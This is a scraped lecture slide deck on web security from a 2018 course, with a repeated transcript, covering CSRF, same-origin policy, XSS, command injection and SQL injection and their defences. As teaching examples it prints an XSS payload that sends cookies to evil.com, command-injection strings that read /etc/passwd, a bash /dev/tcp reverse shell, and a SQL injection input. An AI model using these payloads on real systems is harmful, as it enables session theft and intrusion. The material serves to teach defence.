Web Security Fundamentals in Networking
CS 181S
December 10, 2018
Lecture 23: Web Security (cont'd)
Networking Stack
7 - Application
6 - Presentation
5 - Session
4 - Transport
3 - Network
2 - Data Link
1 - Physical
HTTP
TLS/SSL
TCP/UDP
IP
Ethernet
0s and 1s
Deliver content
Manage encoding
Manage sessions
Deliver (un)reliably
Deliver globally
Deliver locally
Deliver signals
O
p
e
r
a
t
i
n
g
S
y
s
t
e
m
U
s
e
r
S
p
a
c
e
Application Layer HTTP
•
HTTP Request:
•
HTTP Response:
Vulnerabilities by Year
Vulnerability Occurrence in Applications
Cross-Site Request Forgery (CSRF)
Attack Server
Server Victim
User Victim
establish session
send forged request
visit server
(or iframe)
receive malicious page
1
2
3
4
(w/ cookie)
CSRF Defenses
•
Secret Validation Token:
•
Referrer Validation:
•
Custom HTTP Header:
•
User Interaction (e.g., CAPTCHA)
HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CS 181S - Fall 2018</title>
<link href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,600,700,700i' rel='stylesheet' type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Inconsolata:400,700,700i' rel='stylesheet' type='text/css'>
<link href="resources/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="resources/css/main.css">
</head>
<body>
<header class="site-header">
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/courses/cs5430/2018sp/">CS 181S
<span class="hidden-xs hidden-sm">: System Security</span>
<span class="hidden-md hidden-lg"> - Fall 2018</span>
</a>
</div>
Domain Object Model
Dynamic Web Pages
Server-Side
•
PHP
•
Ruby
•
Python
•
Java
•
Go
Client-Side
•
Javascript
Same Origin Policy (SOP)
Data for http://www.example.com/dir/page.html accessed by:
•
h
t
t
p
:
/
/
w
w
w
.
e
x
a
m
p
l
e
.
c
o
m
/
d
i
r
/
p
a
g
e
2
.
h
t
m
l
•
h
t
t
p
:
/
/
w
w
w
.
e
x
a
m
p
l
e
.
c
o
m
/
d
i
r
2
/
p
a
g
e
3
.
h
t
m
l
•
h
t
t
p
s
:
/
/
w
w
w
.
e
x
a
m
p
l
e
.
c
o
m
/
d
i
r
/
p
a
g
e
.
h
t
m
l
•
h
t
t
p
:
/
/
w
w
w
.
e
x
a
m
p
l
e
.
c
o
m
:
8
1
/
d
i
r
/
p
a
g
e
.
h
t
m
l
•
h
t
t
p
:
/
/
w
w
w
.
e
x
a
m
p
l
e
.
c
o
m
:
8
0
/
d
i
r
/
p
a
g
e
.
h
t
m
l
•
h
t
t
p
:
/
/
e
v
i
l
.
c
o
m
/
d
i
r
/
p
a
g
e
.
h
t
m
l
•
http://example.com/dir/page.html
SOP Exceptions
•
Domain relaxation: document.domain
•
Cross-origin network requests: Access-Control-Allow-Origin
•
Cross-origin client-side communication: postMessage
•
Importing scripts
Cross-Site Scripting (XSS)
•
Form of code injection
•
evil.com sends victim a script that runs on example.com
Reflected XSS
Attack Server
Victim Server
receive malicious link
click on link
echo user input
1
2
3
send valuable data
5
4
visit web site
Reflected XSS
•
Search field on victim.com:
•
http://victim.com/search.php?term=
apple
•
Server-side implementation of search.php:
<html>
<title> Search Results </title>
<body> Results for <?php echo $_GET[term] ?>: ...</body>
</html>
•
What if victim instead clicks on:
http://victim.com/search.php?term=
<script> window.open(“http://evil.com?cookie =
”
+
document.cookie ) </script>
Reflected XSS
Attack Server
Victim Server
user gets bad link
user clicks on link
victim echoes user input
www.victim.com
www.evil.com
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>
</html>
http://victim.com/search.php?
term= <script> ... </script>
Stored XSS
Attack Server
Server Victim
User Victim
Inject
malicious
script
request content
receive malicious script
1
2
3
steal valuable data
4
Stored XSS attack vectors
•
loaded images
•
HTML attributes
•
user content (comments, blog posts)
Example XSS attacks
XSS Defenses
•
Parameter Validation
•
HTTP-Only Cookies
•
Dynamic Data Tainting
•
Static Analysis
•
Script Sandboxing
Command Injection
•
Key issue: exporting local execution capability via Web
interface
•
Request:http://vulnsite/ping?host=8.8.8.8
•
Executes: ping –c 2 8.8.8.8
•
Simple command injection
•
Request: http://vulnsite/ping?host=8.8.8.8;cat /etc/passwd
•
Executes: ping –c 2 8.8.8.8;cat /etc/passwd
•
Outputs ping output and the contents of “/etc/passwd”
•
Getting sneakier…
•
ping –c 2 8.8.8.8|cat /etc/passwd
•
ping –c 2 8.8.8.8&cat$IFS$9/etc/passwd
•
ping –c 2 $(cat /etc/passwd)
•
ping –c 2 <(bash -i >& /dev/tcp/10.0.0.1/443 0>&1)
SQL Injection
•
SQL Injection is another example of code injection
•
Adversary exploits user-controlled input to change
meaning of database command
SQL Injection
W
e
b
S
e
r
v
e
r
W
e
b
B
r
o
w
s
e
r
(
C
l
i
e
n
t
)
D
B
E
n
t
e
r
U
s
e
r
n
a
m
e
&
P
a
s
s
w
o
r
d
S
E
L
E
C
T
*
F
R
O
M
U
s
e
r
s
W
H
E
R
E
u
s
e
r
=
'
m
e
'
A
N
D
p
w
d
=
'
1
2
3
4
'
SQL Injection
W
e
b
S
e
r
v
e
r
W
e
b
B
r
o
w
s
e
r
(
C
l
i
e
n
t
)
D
B
E
n
t
e
r
U
s
e
r
n
a
m
e
&
P
a
s
s
w
o
r
d
S
E
L
E
C
T
*
F
R
O
M
U
s
e
r
s
W
H
E
R
E
u
s
e
r
=
'
m
e
'
A
N
D
p
w
d
=
'
1
2
3
4
'
W
h
a
t
i
f
u
s
e
r
=
“
'
o
r
1
=
1
-
-
”
SQL Injection
SQLi in the Wild
Defenses Against SQL Injection
•
Prepared Statements:
String custname = request.getParameter("customerName");// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE
user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
•
Input Validation:
•
Case statements, cast to non-string type
•
Escape User-supplied inputs:
•
Not recommended
This lecture delves into the intricate layers of web security, focusing on vulnerabilities by year, CSRF attacks, and defensive strategies. Topics covered include the application layer, networking stack, HTTP protocols, and common security threats like XSS and SQL injection. Various defense mechanisms such as token validation, referrer validation, and custom HTTP headers are explored in detail. By gaining insights into these concepts, you'll be better equipped to safeguard web applications against malicious exploits.
Download Presentation
Please find below an Image/Link to download the presentation.
The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author. Download presentation by click this link. If you encounter any issues during the download, it is possible that the publisher has removed the file from their server.
E N D
Presentation Transcript
Lecture 23: Web Security (cont'd) CS 181S December 10, 2018
Networking Stack 7 - Application Deliver content HTTP User Space 6 - Presentation Manage encoding 5 - Session Manage sessions TLS/SSL 4 - Transport Deliver (un)reliably TCP/UDP Operating System 3 - Network Deliver globally IP 2 - Data Link Deliver locally Ethernet 1 - Physical Deliver signals 0s and 1s
Application Layer HTTP Request Method Path Protocol Version HTTP Request: Headers HTTP Response: Header Body
Vulnerability Occurrence in Applications Session Management Cross Site Scripting (XSS) Web Server Vulnerabilities 2017 2016 2015 2014 2013 Cross Site Request Forgery (CSRF) SQL Injection 0 20 40 60 80 100
Cross-Site Request Forgery (CSRF) Server Victim 1 4 2 User Victim Attack Server
CSRF Defenses Secret Validation Token: <input type=hidden value=23a3af01b> Referrer Validation: Referrer: http://www.facebook.com/home.php Custom HTTP Header: X-Requested-By: XMLHttpRequest User Interaction (e.g., CAPTCHA)
HTML <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CS 181S - Fall 2018</title> <link href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,600,700,700i' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Inconsolata:400,700,700i' rel='stylesheet' type='text/css'> <link href="resources/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="resources/css/main.css"> </head> <body> <header class="site-header"> <div class="navbar navbar-inverse navbar-fixed-top"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/courses/cs5430/2018sp/">CS 181S <span class="hidden-xs hidden-sm">: System Security</span> <span class="hidden-md hidden-lg"> - Fall 2018</span> </a> </div>
Dynamic Web Pages Server-Side Client-Side PHP Ruby Python Java Go Javascript
Same Origin Policy (SOP) Data for http://www.example.com/dir/page.html accessed by: http://www.example.com/dir/page2.html http://www.example.com/dir2/page3.html https://www.example.com/dir/page.html http://www.example.com:81/dir/page.html http://www.example.com:80/dir/page.html http://evil.com/dir/page.html http://example.com/dir/page.html
SOP Exceptions Domain relaxation: document.domain Cross-origin network requests: Access-Control-Allow-Origin Cross-origin client-side communication: postMessage Importing scripts
Cross-Site Scripting (XSS) Form of code injection evil.com sends victim a script that runs on example.com
Reflected XSS Attack Server 1 2 5 Victim Server
Reflected XSS Search field on victim.com: http://victim.com/search.php?term=apple Server-side implementation of search.php: <html> <title> Search Results </title> <body> Results for <?php echo $_GET[term] ?>: ...</body> </html> What if victim instead clicks on: http://victim.com/search.php?term= <script> window.open( http://evil.com?cookie = + document.cookie ) </script>
Reflected XSS Attack Server www.evil.com http://victim.com/search.php? term= <script> ... </script> Victim Server www.victim.com <html> Results for <script> window.open(http://attacker.com? ... document.cookie ...) </script> </html>
Stored XSS Attack Server 1 Inject malicious script User Victim Server Victim
Stored XSS attack vectors loaded images HTML attributes user content (comments, blog posts)
XSS Defenses Parameter Validation HTTP-Only Cookies Dynamic Data Tainting Static Analysis Script Sandboxing
Command Injection Key issue: exporting local execution capability via Web interface Request:http://vulnsite/ping?host=8.8.8.8 Executes: ping c 2 8.8.8.8 Simple command injection Request: http://vulnsite/ping?host=8.8.8.8;cat /etc/passwd Executes: ping c 2 8.8.8.8;cat /etc/passwd Outputs ping output and the contents of /etc/passwd Getting sneakier ping c 2 8.8.8.8|cat /etc/passwd ping c 2 8.8.8.8&cat$IFS$9/etc/passwd ping c 2 $(cat /etc/passwd) ping c 2 <(bash -i >& /dev/tcp/10.0.0.1/443 0>&1)
SQL Injection SQL Injection is another example of code injection Adversary exploits user-controlled input to change meaning of database command
SQL Injection Enter Username & Password SELECT * FROM Users WHERE user='me' AND pwd='1234' Web Browser (Client) Web Server DB
SQL Injection Enter Username & Password SELECT * FROM Users WHERE user='me' AND pwd='1234' Web Browser (Client) Web Server DB What if user = ' or 1=1 --
Defenses Against SQL Injection Prepared Statements: String custname = request.getParameter("customerName"); // perform input validation to detect attacks String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); Input Validation: Case statements, cast to non-string type Escape User-supplied inputs: Not recommended
